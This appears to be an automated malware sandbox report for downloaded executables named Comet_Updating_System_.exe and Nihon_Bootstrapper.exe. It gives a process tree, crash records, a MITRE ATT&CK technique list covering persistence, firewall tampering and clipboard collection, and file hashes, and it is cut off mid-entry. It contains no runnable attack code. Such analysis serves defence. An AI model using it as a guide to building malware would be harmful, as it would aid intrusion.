  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,7964607782967826186,17511339689833700512,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=51 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1840 /prefetch:1
  2⤵
  PID:5312
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,7964607782967826186,17511339689833700512,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=52 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7880 /prefetch:1
  2⤵
  PID:1276
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,7964607782967826186,17511339689833700512,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=53 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8388 /prefetch:1
  2⤵
  PID:812
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,7964607782967826186,17511339689833700512,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=54 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7712 /prefetch:1
  2⤵
  PID:4288
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,7964607782967826186,17511339689833700512,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=55 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8116 /prefetch:1
  2⤵
  PID:3652
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,7964607782967826186,17511339689833700512,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=56 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8080 /prefetch:1
  2⤵
  PID:4284
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,7964607782967826186,17511339689833700512,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=57 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7676 /prefetch:1
  2⤵
  PID:1296
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,7964607782967826186,17511339689833700512,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=58 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8028 /prefetch:1
  2⤵
  PID:3320
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,7964607782967826186,17511339689833700512,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=59 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6764 /prefetch:1
  2⤵
  PID:7028
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,7964607782967826186,17511339689833700512,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=60 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2076 /prefetch:1
  2⤵
  PID:4988
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,7964607782967826186,17511339689833700512,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=61 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7452 /prefetch:1
  2⤵
  PID:5012
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,7964607782967826186,17511339689833700512,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=62 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8664 /prefetch:1
  2⤵
  PID:4996
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,7964607782967826186,17511339689833700512,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=63 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8668 /prefetch:1
  2⤵
  PID:636
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,7964607782967826186,17511339689833700512,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=64 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=9084 /prefetch:1
  2⤵
  PID:6196
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,7964607782967826186,17511339689833700512,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=65 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=9204 /prefetch:1
  2⤵
  PID:5492
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,7964607782967826186,17511339689833700512,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=66 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=9228 /prefetch:1
  2⤵
  PID:1436
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,7964607782967826186,17511339689833700512,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=67 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=9472 /prefetch:1
  2⤵
  PID:5384
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,7964607782967826186,17511339689833700512,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=68 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=9724 /prefetch:1
  2⤵
  PID:5832
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,7964607782967826186,17511339689833700512,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=69 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=9492 /prefetch:1
  2⤵
  PID:1920
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,7964607782967826186,17511339689833700512,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=70 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=10008 /prefetch:1
  2⤵
  PID:764
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,7964607782967826186,17511339689833700512,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=71 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=9504 /prefetch:1
  2⤵
  PID:1072
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,7964607782967826186,17511339689833700512,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=72 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=9376 /prefetch:1
  2⤵
  PID:6448
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,7964607782967826186,17511339689833700512,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=73 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=10508 /prefetch:1
  2⤵
  PID:6916
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,7964607782967826186,17511339689833700512,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=74 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=10312 /prefetch:1
  2⤵
  PID:4732
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,7964607782967826186,17511339689833700512,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=75 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=10896 /prefetch:1
  2⤵
  PID:5580
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,7964607782967826186,17511339689833700512,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=76 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=10436 /prefetch:1
  2⤵
  PID:5240
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,7964607782967826186,17511339689833700512,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=77 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=10520 /prefetch:1
  2⤵
  PID:5652
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,7964607782967826186,17511339689833700512,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=78 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=10764 /prefetch:1
  2⤵
  PID:6708
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,7964607782967826186,17511339689833700512,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=79 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=11432 /prefetch:1
  2⤵
  PID:3120
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,7964607782967826186,17511339689833700512,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=80 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=11456 /prefetch:1
  2⤵
  PID:5544
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,7964607782967826186,17511339689833700512,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=81 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=11552 /prefetch:1
  2⤵
  PID:3388
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,7964607782967826186,17511339689833700512,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=82 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=11912 /prefetch:1
  2⤵
  PID:216
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,7964607782967826186,17511339689833700512,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=83 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7268 /prefetch:1
  2⤵
  PID:2620
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,7964607782967826186,17511339689833700512,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=84 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7236 /prefetch:1
  2⤵
  PID:4704
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=2152,7964607782967826186,17511339689833700512,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=8608 /prefetch:8
  2⤵
  PID:2012
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,7964607782967826186,17511339689833700512,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=87 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8612 /prefetch:1
  2⤵
  PID:3132
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=2152,7964607782967826186,17511339689833700512,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=9848 /prefetch:8
  2⤵
  PID:6024
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2152,7964607782967826186,17511339689833700512,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=9700 /prefetch:8
  2⤵
  PID:2948
- C:\Users\Admin\Downloads\Comet_Updating_System_.exe
  "C:\Users\Admin\Downloads\Comet_Updating_System_.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:5292
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 5292 -s 1912
    3⤵
    - Program crash
    PID:4880
- C:\Users\Admin\Downloads\Comet_Updating_System_.exe
  "C:\Users\Admin\Downloads\Comet_Updating_System_.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:5812
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 5812 -s 1876
    3⤵
    - Program crash
    PID:3420
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,7964607782967826186,17511339689833700512,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=90 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=10308 /prefetch:1
  2⤵
  PID:5100
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,7964607782967826186,17511339689833700512,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=91 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5360 /prefetch:1
  2⤵
  PID:5816
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,7964607782967826186,17511339689833700512,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=92 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7336 /prefetch:1
  2⤵
  PID:6448
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,7964607782967826186,17511339689833700512,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=93 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5364 /prefetch:1
  2⤵
  PID:6328
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,7964607782967826186,17511339689833700512,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=94 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6988 /prefetch:1
  2⤵
  PID:4564
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,7964607782967826186,17511339689833700512,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=96 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=9156 /prefetch:1
  2⤵
  PID:5048
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2152,7964607782967826186,17511339689833700512,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=11384 /prefetch:8
  2⤵
  PID:5128
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=2152,7964607782967826186,17511339689833700512,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=8624 /prefetch:8
  2⤵
  PID:6872
- C:\Users\Admin\Downloads\Nihon_Bootstrapper.exe
  "C:\Users\Admin\Downloads\Nihon_Bootstrapper.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:2976
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2976 -s 2552
    3⤵
    - Program crash
    PID:5012

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:6420

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:3092

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:6124

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 5292 -ip 5292
1⤵
PID:6496

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /4
1⤵
- Checks SCSI registry key(s)
PID:3796

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 376 -p 5812 -ip 5812
1⤵
PID:3048

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 2976 -ip 2976
1⤵
PID:1684

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Account Manipulation

T1098

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Account Manipulation

T1098

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Credential Access

Discovery

Browser Information Discovery

T1217

Network Service Discovery

T1046

Peripheral Device Discovery

T1120

Permission Groups Discovery

T1069

Local Groups

T1069.001

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Wi-Fi Discovery

T1016.002

System Network Connections Discovery

T1049

Lateral Movement

Collection

Clipboard Data

T1115

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState

Filesize
649B

MD5
cd79cf60b3f8c7cf617473794cccea15

SHA1
733ccdaa0567a44a287bdd7b870e82310b19c0b1

SHA256
e71292d607ab0c436a5a74647ab41f4ad7262ce6094d6fac3cb55ef7425791e8

SHA512
0d49ed076844e3abfb4e2dcb1fa083dd1511a1a8db92eb30783dc7ca40929a709c3ccc25a7495509ca811bcbf5a5e1a99c227b59d483f9fe968fd74e9be6fedc

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State

Filesize
1KB

MD5
ee83b5a7968d9bcda5e01d85ae16d451

SHA1
145dd5c14946128a4bf34d1c8dc4f2df41c10516

SHA256
bd0ffa8e1eff40f731ea35f7eaf0416ec2e7ed447defbd369f01ee20be320b26

SHA512
0d6a2176d31423082a629204f0d5f9efde5da3bb89faca806ce9fda01c2c78d35d150195d215b68debdda7b25fdcec5ba239c9c307576d470d72992c10073f23

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports

Filesize
2B

MD5
d751713988987e9331980363e24189ce

SHA1
97d170e1550eee4afc0af065b78cda302a97674c

SHA256
4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945

SHA512
b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity

Filesize
356B

MD5
6c2519a5080fbff31c3f4677427feebb

SHA1
251c06f28aadfae6423a923e49e9b91f5de7a90f

SHA256
c9915af96015e9812b63fc7a245329658f793e9f7210060750f18ec28326bb16

SHA512
8955c10e70458f23a369e7707a1a266e312704c2d79dbab0087cb4b79f016bc65d94b6c587276f927e51ff3ab92c609b96fba5309db4aba1e7ed75aa0c9dee9d

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
7KB

MD5
359eee35b01be52329cb76a5ec530b4e

SHA1
369aa3582210fffbe431a8ff84cb4bff670a2e20

SHA256
5ff17301582252cb713e5801b8a988d407c81b362d101783efbe04988f2ee5e0

SHA512
d578b606a4bbf3b0fcb234be07e98428ce5c73921ee8ab3f7a3344e38a6c28e9a2cf0a3f7f9bd597ea6e7c389e169ffa04757f475319581610be95423fd77236

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences

Filesize
12KB

MD5
dc3c79e47e348294274385708e5d984f

SHA1
1e6793e730acde7fa2327374b19d4d6ec85477c9

SHA256
1b965c44fb7c130c2af74dcc9ddb07c13dc5ae704c96432223e3ce64c12500bb

SHA512
261cd2d545a3b63e21597cee2646bcc48a698ca52f1c395405cac28993d8120f3aadcf0d483256bbabb37977c94d2adac7058949cf24f5c7142c1e8c866d3707

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\GraphiteDawnCache\data_1

Filesize
264KB

MD5
f50f89a0a91564d0b8a211f8921aa7de

SHA1
112403a17dd69d5b9018b8cede023cb3b54eab7d

SHA256
b1e963d702392fb7224786e7d56d43973e9b9efd1b89c17814d7c558ffc0cdec

SHA512
bf8cda48cf1ec4e73f0dd1d4fa5562af1836120214edb74957430cd3e4a2783e801fa3f4ed2afb375257caeed4abe958265237d6e0aacf35a9ede7a2e8898d58

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

Filesize
233KB

MD5
008a3354e9a939ed869b56e7cabd3f95

SHA1
002ca8c5235e6729e4f148d5bd1a2f8bbed377e9

SHA256
43a656c016e974361fdfb071bd75351f39710ac318ff3974cb85118f1f7bba07

SHA512
a8515562f80f10d573372a19378e93ba268b54f973675f8c9d4734e4ca5a6fa2def2e4bf25230ef91fd66a07f31b5880bd113ffe0ca5699dff701e4e9da41aa2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
69cd4fbd25488dc00a347c8a390c8652

SHA1
22cf04f96e4af55a94c87105201f08cf7ff47aa5

SHA256
23ef6c8a50cc68d03460913947c655fb7c62854cca6108e5c85cc472edcdd5cf

SHA512
02ef1bcd904dcba1f0f035a61593dab52eff317762cebd59261b0d211b0b7f7447814ac5ec6c47481088761a338b6ea00a2865e759565980043b47bc4f60f5bf

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
f93852a4ed05c0dd6b08feea78b6ecfe

SHA1
6a4309de642f2c2512c2b1a4509855db565c3b23

SHA256
e584ca9b4431add195300506c9b97a3e2e3d818446832dc602271d46412c223f

SHA512
ba7b386e86a85212c0dc3675568e2f082ae7b8ff0411cbccc9545b433b433f1dd00199256cb1481e6760e9e9a015fe264884025d3f42f1abee2321c8c81a8f77

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
63e909b14a0f0d49fcdf38d7d61dd321

SHA1
02dd09dd04b92c1ea71d2c975da7615903330308

SHA256
19c0cfb04ecc21c8ab444b8e09a85ca49be653da23f2955f46abba7a00f7bbc5

SHA512
37f03e4aa557a53d4f4edeb4d9747344dafd560773e4c7dd48751053cfe460487cfefe7a2c59a5cc13290762b55de10819af1902762424ecd182b92d1a4dcaf2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
90d9cc370060ef5ae526755155220c89

SHA1
3d536fcef3ebde92ca496819539288686ba8528e

SHA256
db4df83a39030515b39da7becb9f640e86fe6daec54296ce4fccaf9423c29e27

SHA512
5179e5b0093b160b3f67fed92fb4edf97ff7439d970dce46c281cdcbf4589f157f7bcd1d8608cef03cc81258f3c0744f31b95db8c70f162bed255efad48e37b2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
72c1ef559d101dc082a82a8a8357034b

SHA1
bc15191f48eb10e8fae6ea270bfa521a02435b18

SHA256
